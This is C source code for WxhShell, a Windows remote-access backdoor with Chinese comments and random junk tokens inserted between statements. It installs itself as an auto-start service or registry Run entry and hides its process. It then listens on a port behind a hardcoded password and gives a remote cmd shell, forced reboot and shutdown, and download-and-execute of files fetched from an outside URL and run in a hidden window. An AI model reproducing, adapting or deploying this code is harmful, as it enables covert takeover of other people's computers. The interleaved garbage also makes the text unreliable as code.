"c/a8 PROCNTQSIP NtQueryInformationProcess; R{ 4u|A?9 T#/ 11M$uQ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g!\QIv1D static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W7T"d4 _&=9 Ke HANDLE hProcess; ? 9qAe PROCESS_BASIC_INFORMATION pbi; rSbQ}O4V ]ci RiMkT( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3} l; if(NULL == hInst ) return 0; z(r"JNO@ [@zkv)D6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Jmw|B g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8vu2k> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vo.EM1x 78gob&p? if (!NtQueryInformationProcess) return 0; eNivlJ,K|@ <%(f9j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7%X+O8 if(!hProcess) return 0; fA;x{0CAMX m9uUDq#GJ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tPA"lBS ! HN^w'I'bp CloseHandle(hProcess); )y5iH){! FmR\`yY_, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lej^gxj/2 if(hProcess==NULL) return 0; _5Bu [I Mru~<:9 HMODULE hMod; ^=3 ^HQ'Zm char procName[255]; }&=uZ: unsigned long cbNeeded; [CsM<:C 5'),) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p+!f(H ^1()W,B~w CloseHandle(hProcess); @i\7k(9:A t<8z08 if(strstr(procName,"services")) return 1; // 以服务启动 *pY/5? g La@\q[U{@ return 0; // 注册表启动 eO~eu]r } D_zcOq9 ;Kt'Sit // 主模块 Y{`3`Pg&N int StartWxhshell(LPSTR lpCmdLine) qNhH%tYQ { P:jDB{ SOCKET wsl; &qG?[R{ BOOL val=TRUE; |YJ$c@ int port=0; {P,>Q4N struct sockaddr_in door; aS2a_!f 8U8P
g2 if(wscfg.ws_autoins) Install(); JB641nv e_tZja2s port=atoi(lpCmdLine); iz,]%<_PE l A 0-?k if(port<=0) port=wscfg.ws_port; ^V_ku@DY |)~Ex 9%ev WSADATA data; wbn^R' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?]759,Q3L ;B,nzx(L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6oPUYn- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^f!Zr door.sin_family = AF_INET; Xq[:GUnt door.sin_addr.s_addr = inet_addr("127.0.0.1"); xq8}6Q door.sin_port = htons(port); X^u4%O[' PEK.Kt\M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GP0[Y closesocket(wsl); <.y;&a o return 1; [%HYh7ua< } .dy#n`eP (K!M*d+ if(listen(wsl,2) == INVALID_SOCKET) { )zo#1$C- closesocket(wsl); &h98.A*& return 1; MH C.k= } |k/`WC6As. Wxhshell(wsl); }x{rTEq WSACleanup(); GG@iKL V sDW"j\ return 0; {Q}!NkF1 "FD<^
} yd\5Z[iEp Krt$=:m|1 // 以NT服务方式启动 f>.`xC{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v)wY {
FF5tPHB DWORD status = 0; 6:e}v'q{ DWORD specificError = 0xfffffff; 0[_O+u 9/@FADh serviceStatus.dwServiceType = SERVICE_WIN32; ~Rx~g serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,+swH;=7#r serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |?4~T: serviceStatus.dwWin32ExitCode = 0; ~xsb5M5 serviceStatus.dwServiceSpecificExitCode = 0; 8#NIs@DJ serviceStatus.dwCheckPoint = 0; b|\{ !N] serviceStatus.dwWaitHint = 0; a/wUeW U}mL,kj" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d m/-} if (hServiceStatusHandle==0) return; LC~CPV'F tuL\7
(R status = GetLastError(); yf0vR%,\ if (status!=NO_ERROR) N>W;0u! { 7C,<iY serviceStatus.dwCurrentState = SERVICE_STOPPED; r{;VTQ serviceStatus.dwCheckPoint = 0; ~*,Ddwr0a serviceStatus.dwWaitHint = 0; uD0(aqAZ serviceStatus.dwWin32ExitCode = status; )&b}^1 serviceStatus.dwServiceSpecificExitCode = specificError; LS R_x$G+t SetServiceStatus(hServiceStatusHandle, &serviceStatus); /h.:br?M#P return; ~Hp#6+ } A)O_es2 M6o
xtt4 serviceStatus.dwCurrentState = SERVICE_RUNNING; 4eDmLC"Y
* serviceStatus.dwCheckPoint = 0; C}M0XW serviceStatus.dwWaitHint = 0; hlSB7D"d if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (r#5O9|S } llTQ\7zP /6i Tq^.% // 处理NT服务事件,比如:启动、停止 LLXg VOID WINAPI NTServiceHandler(DWORD fdwControl) Zpn*XG { Y&1!Z*OL; switch(fdwControl) |IyM"UH { rw40<SS"Z case SERVICE_CONTROL_STOP: v%69]a-T serviceStatus.dwWin32ExitCode = 0; 9XJ9~I? serviceStatus.dwCurrentState = SERVICE_STOPPED; .P|+oYT&g serviceStatus.dwCheckPoint = 0; 7$Z)fkx. serviceStatus.dwWaitHint = 0; T2/v} { 46Y7HTwE SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0{U ]STj } tWCv]* return; )zk?yY6 case SERVICE_CONTROL_PAUSE: z<3}TD serviceStatus.dwCurrentState = SERVICE_PAUSED; :JTRRv break; L~?,6 case SERVICE_CONTROL_CONTINUE: ArEH%e serviceStatus.dwCurrentState = SERVICE_RUNNING; )sY$\^'WY break; 9^b7jw case SERVICE_CONTROL_INTERROGATE: )n[`Z# break; ;Wfv+]n9 }; l"~h1xk~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); }QApeZd+q } !"o1ve`{ N>F2
c)rm // 标准应用程序主函数 On2Vf*G@| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kG|>_5 { )|59FOWg 5W:Gl?$S} // 获取操作系统版本 C[J`x>-K OsIsNt=GetOsVer(); b}EYNCw_7S GetModuleFileName(NULL,ExeFile,MAX_PATH); (|ct`KU0# lyOrM7Gs // 从命令行安装 y<'2BTf if(strpbrk(lpCmdLine,"iI")) Install(); I49=ozPP n41\y:CAo // 下载执行文件 {$u@6&
B if(wscfg.ws_downexe) { gs`27Gih if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FzsS~C$wH{ WinExec(wscfg.ws_filenam,SW_HIDE); .H[Lo> } Ue>A >gS5[`xRE if(!OsIsNt) { VQG /g\ // 如果时win9x,隐藏进程并且设置为注册表启动 q6m87O9 HideProc(); pO 7{3% StartWxhshell(lpCmdLine); 4/mj"PBKL } vt(}ga else F_M~!]<na if(StartFromService()) Xx9~ // 以服务方式启动 =E6i1x%j StartServiceCtrlDispatcher(DispatchTable); (`uC"M Lk else o<Rxt
*B // 普通方式启动 ,Rr&. StartWxhshell(lpCmdLine); }ii]cY [w#x5Xsn return 0; &s6(3k } :+Z>nHe 8'g*}[ ?[L0LL?ce I;|5C=! =========================================== [u9S+:7" B#Oc8`1Y {*5;:QnT 7:R{~|R /="D]K)%b8 |]]pHC_/W " At^DY!3vx NGb!7Mu9 #include <stdio.h> [y&h_w. #include <string.h> @gl%A&a #include <windows.h> ][>M<J #include <winsock2.h> ~:RDw<PWp #include <winsvc.h> v,x%^gv 0 #include <urlmon.h> ~M9n<kmE \SH D #pragma comment (lib, "Ws2_32.lib") KSpC%_LC #pragma comment (lib, "urlmon.lib") :0TSOT9. ;6&=]I #define MAX_USER 100 // 最大客户端连接数 me}Gb a #define BUF_SOCK 200 // sock buffer C{I8Pio{b #define KEY_BUFF 255 // 输入 buffer iHG:W wM & ^2?O+ =,F #define REBOOT 0 // 重启 w\8rh\Mvh #define SHUTDOWN 1 // 关机 Y[8co<p efAahH #define DEF_PORT 5000 // 监听端口 XtH_+W+O n-| i #define REG_LEN 16 // 注册表键长度 8Q)mmkI\= #define SVC_LEN 80 // NT服务名长度 da86Jj=k $nd-[xV // 从dll定义API ~PS2[5yo typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cI4qgV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z=/L6Zb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |~"A:gf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .1? i'8TF MFdFZkpiV // wxhshell配置信息 eJ)KE5%n# struct WSCFG { Bc"}nSjH int ws_port; // 监听端口 TAXkfj char ws_passstr[REG_LEN]; // 口令 |9i/)LRXe int ws_autoins; // 安装标记, 1=yes 0=no Z_4H2HseL char ws_regname[REG_LEN]; // 注册表键名 uRq#pYn@ char ws_svcname[REG_LEN]; // 服务名 Er+3S@sfq, char ws_svcdisp[SVC_LEN]; // 服务显示名 H/la'f#o% char ws_svcdesc[SVC_LEN]; // 服务描述信息 fOjt` ~ToI char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d\<aJOi+- int ws_downexe; // 下载执行标记, 1=yes 0=no #/sE{jm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 17[t_T&Ak9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M0IqQM57N >fzzrD}] }; kFZu/HRI >zx50e) // default Wxhshell configuration u.K'"-xt4K struct WSCFG wscfg={DEF_PORT, 'FA)LuAok "xuhuanlingzhe", TboHP/ 1, eRqexqO! "Wxhshell", ,["|wqM "Wxhshell", d~1"{WPSn "WxhShell Service", 'N,NG$G2 "Wrsky Windows CmdShell Service", 6Oqnb+ "Please Input Your Password: ", D30Z9_^%: 1, %m\G'hY2 "http://www.wrsky.com/wxhshell.exe", LVcy.kU@] "Wxhshell.exe" ppo$&W
&z }; H=SMDj)s+ mt6uW+t/ // 消息定义模块 wTuRo
J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bFdg'_ char *msg_ws_prompt="\n\r? for help\n\r#>"; d~bH!P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mbG^fy' char *msg_ws_ext="\n\rExit."; WMz|FFKVY char *msg_ws_end="\n\rQuit."; 1B]wSvP@ char *msg_ws_boot="\n\rReboot..."; d.(]V2X.J char *msg_ws_poff="\n\rShutdown..."; IhKas4 char *msg_ws_down="\n\rSave to "; +z?f,`.* .$}zw|,q char *msg_ws_err="\n\rErr!"; 5}^08Xl char *msg_ws_ok="\n\rOK!"; L5|;VH SE-, 1p char ExeFile[MAX_PATH]; Kz2^f@5=F int nUser = 0; bzL;)H4Eo HANDLE handles[MAX_USER]; ,?N_67 int OsIsNt; KdQ|$t FbNQ SERVICE_STATUS serviceStatus; ^WYG?/{4 SERVICE_STATUS_HANDLE hServiceStatusHandle; bIl0rx[` ]]QCJf@p // 函数声明 {_N(S]Z int Install(void); {.8)gVBmA int Uninstall(void); - OGy-" int DownloadFile(char *sURL, SOCKET wsh); #UnO~IE.m$ int Boot(int flag); zSufU2 void HideProc(void); ~=gH7V int GetOsVer(void); szs3x-g int Wxhshell(SOCKET wsl); :qKY@-t7H void TalkWithClient(void *cs); 00x^zu?N int CmdShell(SOCKET sock); Q2WrB+/ int StartFromService(void); FrM~6A_ int StartWxhshell(LPSTR lpCmdLine); cx%9UK*c >-WOw VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6D]G*gwk[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); JWjp<{Q;1 +uXnFf d^ // 数据结构和表定义 }(IDPaJ SERVICE_TABLE_ENTRY DispatchTable[] = BJ2W}R { oa|*-nw {wscfg.ws_svcname, NTServiceMain}, '"p*FN {NULL, NULL} | Dpfh }; p%tg->#L 90k|u'ikOp // 自我安装 rSCX$ @@F int Install(void) nk.Eq[08 { f3B8,> char svExeFile[MAX_PATH]; 4T\/wyq0 HKEY key; wDY7B strcpy(svExeFile,ExeFile); T}x%=4<E k"-#ox! // 如果是win9x系统,修改注册表设为自启动 eC:Q)%$%l if(!OsIsNt) { 2G>
]W?> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xJ5!`#= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k(Xv&Zn RegCloseKey(key); 4^9_E&Fa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QRa6*AYm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AQU: 0 RegCloseKey(key); "lb!m9F{ return 0; P&,cCR> } V!tBipX% } #$T"QL@ } md
LJ,w?{ else { L uKm pC
Is+1O/ // 如果是NT以上系统,安装为系统服务 !sWBj'[> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2{:
J1'pC if (schSCManager!=0) )f&]H} { 70(?X/5# SC_HANDLE schService = CreateService Av4E?@R ( l~c>jm8. schSCManager, e!'u{>u wscfg.ws_svcname, (19<8a9G wscfg.ws_svcdisp, u6d~d\ SERVICE_ALL_ACCESS, &h[}5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p[:%Ck"$7 SERVICE_AUTO_START, ZJM^P'r.1c SERVICE_ERROR_NORMAL, Bq`kVfx svExeFile, <cjTn:w NULL, aBLb i NULL, L#bQ`t NULL, ay[*b_f NULL, GQWTQIl] NULL d'D\#+%>= ); ?"u-@E[m if (schService!=0) Ux]@prA q { 1yc@q8 CloseServiceHandle(schService); E.9k%%X] CloseServiceHandle(schSCManager); |/Z)? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p8J"%Jq} strcat(svExeFile,wscfg.ws_svcname); 8"^TWzg}L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S`.-D+.68 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F\72^,0 RegCloseKey(key); I ^92b return 0; IbwRb } pSUp"wch } {mGWMv CloseServiceHandle(schSCManager); n/D]r } }Cf[nGh|B } M lwQ_5O h]9^bX__Z return 1; &|] ^ u/ } ^q2zqC ywte\} // 自我卸载 ZeV)/g,w int Uninstall(void) P://Zi6> { S45_-aE HKEY key; ,BAF?}04= L,L7WObA if(!OsIsNt) { @kymL8"2w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v:;cTX=x`# RegDeleteValue(key,wscfg.ws_regname); 5!*a,$S RegCloseKey(key); G$<0_0GF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y.#+Yh[ RegDeleteValue(key,wscfg.ws_regname); *h6i9V%' RegCloseKey(key); 1A`";E& return 0; nsk
6a } R0'EoX } ?>&Zm$5V } M+:wa@Kl else { t68RWzqiG[ CVp<SS( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L~~Yh{< if (schSCManager!=0) #CmBgxg+M { Y1IlH8+0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O2f2Fb$B7 if (schService!=0) fO nvC* { ;wrgpP3 if(DeleteService(schService)!=0) { O1,[7F.4g CloseServiceHandle(schService); 37Y]sJrs$ CloseServiceHandle(schSCManager); |e>-v return 0; pM3BBF% } 6Tnzg`0I CloseServiceHandle(schService); ]9Hy
"#Fz } Ea?.HRxl CloseServiceHandle(schSCManager); F)Lbr>H?I } (%}C } >Z%`&D~u wP*Z/}Uum+ return 1; ,jmG!qJb } b??1Up (P-<9y@ // 从指定url下载文件 RSC-+c6 1 int DownloadFile(char *sURL, SOCKET wsh) _(foJRr { s=4.Ovd\ HRESULT hr; +&@0;zSga char seps[]= "/"; KG$2u:n char *token; ): 6d_g{2 char *file; `Fj(g!` char myURL[MAX_PATH]; E12k1gC` char myFILE[MAX_PATH]; KJ_R@,v\ l.$#IE strcpy(myURL,sURL); tw66XxE token=strtok(myURL,seps); HJm O+ while(token!=NULL) [eRMlSXA { Ay]5GA!W+ file=token; "RLb wm~ token=strtok(NULL,seps); >Fz$DKr[ } HV@:!zM {QID @ GetCurrentDirectory(MAX_PATH,myFILE); nKdLhCN'= strcat(myFILE, "\\"); Q1z04m1_y[ strcat(myFILE, file); }^muAr send(wsh,myFILE,strlen(myFILE),0); 1oPT8)[U send(wsh,"...",3,0); nP^$p C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %:*HzYf if(hr==S_OK) 32yNEP{ return 0; eORt
qX8* else I?QKd@ return 1; K@m^QioMj N"TD$NrK\ } '#PT C,0UJ YbKW;L&Ff // 系统电源模块 a0R]hENC int Boot(int flag) 1*fA>v { RulIzv HANDLE hToken; &,zeBFmc TOKEN_PRIVILEGES tkp; \!r^6'A $Tg$FfD6& if(OsIsNt) { C7#$s<>TO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U,'n}]=4A3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :&m(W Z\ tkp.PrivilegeCount = 1; #=rR[:M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7F.,Xvw&@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); art{PV4- if(flag==REBOOT) { ]G:xT v8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m|
Z)h{& return 0; (]:G"W8f } #_d%hr~d else { }1V&(#H2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |($pXVLH` return 0; tz,FK;8 } uT1x\Rt|e } _D~a4tgS else { k{~5pxd-t if(flag==REBOOT) { z2V!u\It if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D)5wGp return 0; VI?[8@*Z } -Q;
w4@ else { {-xnBx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zF PSk] return 0; $IHa]9 { } pfT7 } (I$hw"%& AF@C9s return 1; y{&,YV&_h } <~d N23) ;>~iCFk]? // win9x进程隐藏模块 mS0W@# |K void HideProc(void) Wh,kJis< { @9-qqU@ 4t":WutC HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (<h,R@: if ( hKernel != NULL ) "P6MLf1 { /=N`P &R# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,0~=9dR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T4[eBO FreeLibrary(hKernel); 0PN{
+<?. } r*
U6govky Z1Wra-g return; CV k8MA } B4 hR3% b#sO1MXv // 获取操作系统版本 ZM" t. int GetOsVer(void) :z[SI{Y { <%5ny!] OSVERSIONINFO winfo; M<SZ7^9< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q
bo`E!K GetVersionEx(&winfo); @c.pOX[]m, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %lBFj/B return 1; }{$@|6)R else x-[l`k.V return 0; M-n +3E9 } 8g3 6-8 gY%-0@g // 客户端句柄模块 ,-):&V:jF int Wxhshell(SOCKET wsl) u URf { y=t
-/*K SOCKET wsh; mwt3EV5 struct sockaddr_in client; FGC[yz1g: DWORD myID; Ae"B]Cxb_X F
J)la9 while(nUser<MAX_USER) avQwbAh[ { R8HFyP int nSize=sizeof(client); 8qT/1b wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;yr'K if(wsh==INVALID_SOCKET) return 1; WaYT\CG7y zQ6otDZx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %NvY~, if(handles[nUser]==0) BwR)--75 closesocket(wsh); IMj{n.y4 else NOvN8.K% nUser++; .A E(D7d6 } Yv>% 5` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =dPrG=A |g~.]2az return 0; nk[ixVc } zJPzI{-w| \QVL%,.%M // 关闭 socket T!8,R{V]4 void CloseIt(SOCKET wsh) *cf#:5Nl { SO|$X closesocket(wsh); p?5zwdX+` nUser--; @>:r'Fmu- ExitThread(0); O%OeYO69 } "bJW yUb ./u3z|q1 // 客户端请求句柄 ,a}+Jj{ void TalkWithClient(void *cs) uKK+V6}!kj { *t63c.S Up~#]X SOCKET wsh=(SOCKET)cs; Ls( &. char pwd[SVC_LEN]; Hd
:2 char cmd[KEY_BUFF]; d%iMjY`~[g char chr[1]; )<%GHDWL int i,j; T{Av[>M LBTf}T\ while (nUser < MAX_USER) { iNcB6,++ [S4<bh! if(wscfg.ws_passstr) { XLB7
E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Zox;}WK+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H?PaN)_6-+ //ZeroMemory(pwd,KEY_BUFF); d-X<+&VZ i=0; v81<K*w`P while(i<SVC_LEN) { $%ps:ui~X svN&~@l // 设置超时 y6fYNB fd_set FdRead; @PutUYz struct timeval TimeOut; <d8Yk>R FD_ZERO(&FdRead); i6aM}p< FD_SET(wsh,&FdRead); *&XOzaVU TimeOut.tv_sec=8; g/eE^o~; TimeOut.tv_usec=0; Hi#hf"V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R,8;GS42 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Y-Gp4" r3'0{Nn+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V3
2F pwd=chr[0]; ? g}G#j if(chr[0]==0xd || chr[0]==0xa) { ,VI2dNst\ pwd=0; 6YNd;,it>p break; L\aG.\ } voiWf?X i++; 5y0N }} } wZ0RI{)s' X3@Uih}| // 如果是非法用户,关闭 socket `fS$@{YI_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]@0C1r } )1N~-VuT Dr)B0]KG send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ',P$m&z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OQ&l/|{O0? 0.+MlyA while(1) { G
.NGS%v :pq+SifP ZeroMemory(cmd,KEY_BUFF); -e(e;e `p#tx.o // 自动支持客户端 telnet标准 Zcjh j=0; !cW6dc^ while(j<KEY_BUFF) { .k cyw>T`I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LtW}R4}3 cmd[j]=chr[0]; ?L x*MJZ if(chr[0]==0xa || chr[0]==0xd) { W^k95%zBM cmd[j]=0; fS?}(7 break; ^VOFkUp) } evjj~xkte j++; sFt"2TVr3 } l|v`B6( S"HdjEF7\ // 下载文件 [>![ViX if(strstr(cmd,"http://")) { lha)4d send(wsh,msg_ws_down,strlen(msg_ws_down),0); #x*\dL if(DownloadFile(cmd,wsh)) ~bf4_5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%pD9'q~ else e>0gE`8A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DaP,3>M } Y O&@ else { 2D UY4Ti HA$Xg
j switch(cmd[0]) { %:t! u&:q j<'ftKk // 帮助 A*G ~#v^ case '?': { ,<k%'a!B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1%ENgb:8 break; L+N\B@ 0- } M0yv=g // 安装 !#d5hjoX
case 'i': { &+ "<ia( if(Install()) `R;i1/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); LI*=T else ;* QK^ # send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 't6l@_x break; X!_&%^L' } bmu] zJ // 卸载 zZ6m`]{B9? case 'r': { ^hXm=r4ozR if(Uninstall()) KRz~3yH{c send(wsh,msg_ws_err,strlen(msg_ws_err),0); }yVx"e) else :_}xN!9LA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kDol 1v` break;
E;}&2 a } 9U8x&Z]P // 显示 wxhshell 所在路径 )(0if0D4 case 'p': { `Fie'[F5,) char svExeFile[MAX_PATH]; `JO>g=,4 strcpy(svExeFile,"\n\r"); DQ(0:r strcat(svExeFile,ExeFile); ~m_{&,CA. send(wsh,svExeFile,strlen(svExeFile),0); `;Ho<26 break; yts@cd`$ } R2v9gz;W // 重启 !(
>U3N case 'b': { LaO8)lqR send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?a#Gn2 if(Boot(REBOOT)) _V4O#;%? send(wsh,msg_ws_err,strlen(msg_ws_err),0); !KMl'kswe: else { 58XZ]Mc0 closesocket(wsh); q>Di|5<y ExitThread(0); 3m= _a } u?"="-^ break; e8rZP(g&g } cI P.5)Ca // 关机 /v^'5j1o case 'd': { h;,1BpbM send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6#7hMQ0&;O if(Boot(SHUTDOWN)) rCwE$5
b send(wsh,msg_ws_err,strlen(msg_ws_err),0); [3"F$?e5 else { vn+XY=Qnr closesocket(wsh); gUNhN1= ExitThread(0); 4d\^ } eT+i& break; yI1:L
- } T?Kh' // 获取shell 1^LdYO?g' case 's': { ("\{=XAQ CmdShell(wsh); KF
zI27r closesocket(wsh); Ym1vq= ExitThread(0); ]f#s`.A~ break; L/Q[N^ (^ } s>m2qSu // 退出 `Jk0jj6Z case 'x': { 0u1ZU4+EC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QuqznYSY{ CloseIt(wsh); dpTsTU!\ break; I%u 2 ce } "Yh;3tI4* // 离开 GQ;0KIN case 'q': { n1J u=C send(wsh,msg_ws_end,strlen(msg_ws_end),0); kh9'W<tE closesocket(wsh); u Jqv@GFv WSACleanup(); `0\Z*^> exit(1); PFuhvw~? break; nm@h5ON_ } =nHKTB> } iP0m1 } N2O *g`YC r5DRF4,7 // 提示信息 V_:`K$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S7)qq } U3X5tED } EW|$qLg ao2^3e return; }9+;-*m/ } uR ?W|a N$6e KJ] // shell模块句柄 Yy88 5 int CmdShell(SOCKET sock) Q]YB.n3 { }:m/@LKB STARTUPINFO si; ux<|8S ZeroMemory(&si,sizeof(si)); *Jgi=,!m si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8
MQq3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^FKiVKI: PROCESS_INFORMATION ProcessInfo; zMR)w77 char cmdline[]="cmd"; q2*A'C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -NXxxK return 0; !HvA5'|:} } eAf i!!Z< |tGUx*NN // 自身启动模式 6N#hN)/ int StartFromService(void) U?#wWbE1 { P9/ (f$ = typedef struct ^ +SE_ -+] { u#,8bw?1 DWORD ExitStatus; fZ$b8 DWORD PebBaseAddress; T&lgWOls DWORD AffinityMask; TI'v /=;) DWORD BasePriority; 9B!Sv/)y!r ULONG UniqueProcessId; mux/\TII ULONG InheritedFromUniqueProcessId; QWk3y"5n< } PROCESS_BASIC_INFORMATION; YI g(^>sq cD0rU8x PROCNTQSIP NtQueryInformationProcess; XVqOiv) :~otzI4%! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LqbI/AQ) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vkIIuNdDlx CIx(SeEF HANDLE hProcess; {Rkd;`Q`! PROCESS_BASIC_INFORMATION pbi; lS4r pbU_ ?H=q!i HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WO_Uc_R if(NULL == hInst ) return 0; /W/e%. jVQy{8{G g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IMkE~0x4</ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oX|T&"& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CRK%^3g <rBW6o7 if (!NtQueryInformationProcess) return 0; XOvJlaY)'. g&s.
